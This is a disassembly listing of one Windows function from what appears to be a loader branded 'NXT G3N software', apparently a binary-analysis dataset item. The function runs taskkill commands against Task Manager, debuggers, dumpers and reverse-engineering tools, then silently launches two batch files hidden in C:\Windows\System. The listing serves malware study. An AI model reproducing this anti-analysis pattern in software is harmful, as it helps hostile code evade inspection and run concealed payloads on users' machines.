Function at 0x14008d9a0
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1403b75a0]
xor rax, rsp
mov qword [rsp + 0x50], rax
mov rbx, rcx
cmp byte [rcx + 0x213], 0
je 0x14008dd38
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14008d9e8
call fcn.1402815e8
mov qword [rbx + 0x218], rax
mov byte [rbx + 0x228], 1
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, qword [0x1403ecc28]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm0, dword [0x1403849f4]
addss xmm2, dword [0x1403849d8]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
lea rcx, str._________WELCOME_TO_NXT_G3N_SOFTWARE..
call fcn.1400d97d0
cmp byte [rbx + 0x228], 0
je 0x14008da85
call fcn.1402815e8
mov rcx, rax
jmp 0x14008da8c
mov rcx, qword [rbx + 0x220]
sub rcx, qword [rbx + 0x218]
movabs rax, 0x346dc5d63886594b
imul rcx
sar rdx, 0xb
mov rax, rdx
shr rax, 0x3f
add rdx, rax
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
divsd xmm0, qword [0x140384988]
comisd xmm0, xmmword [0x140384960]
jbe 0x14008dd38
call fcn.1402815e8
mov qword [rbx + 0x220], rax
mov byte [rbx + 0x228], 0
mov byte [rbx + 0x213], 0
mov byte [reloc.WS2_32.dll_accept], 1
mov ecx, 8
call fcn.14027f228
lea rcx, [0x140085600]
mov qword [rax], rcx
mov qword [rsp + 0x40], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov r9, rax
lea r8, [0x14009d3a0]
xor edx, edx
xor ecx, ecx
call fcn.14029dc2c
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14008dd4b
cmp dword [rsp + 0x38], ebx
je 0x14008dd5a
movaps xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x40]
call fcn.140283d84
test eax, eax
jne 0x14008dd65
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x30], xmm0
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:WindowsSystemloading.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, str.C:WindowsSystemloadingbar.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
cmp dword [rsp + 0x38], ebx
jne 0x14008dd6d
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.14027f200
add rsp, 0x60
pop rbx
ret
mov dword [rsp + 0x38], ebx
mov ecx, 6
call fcn.140281790
nop
mov ecx, 1
call fcn.140281790
int3
mov ecx, eax
call fcn.140281754
nop
call fcn.14029e5a0
int3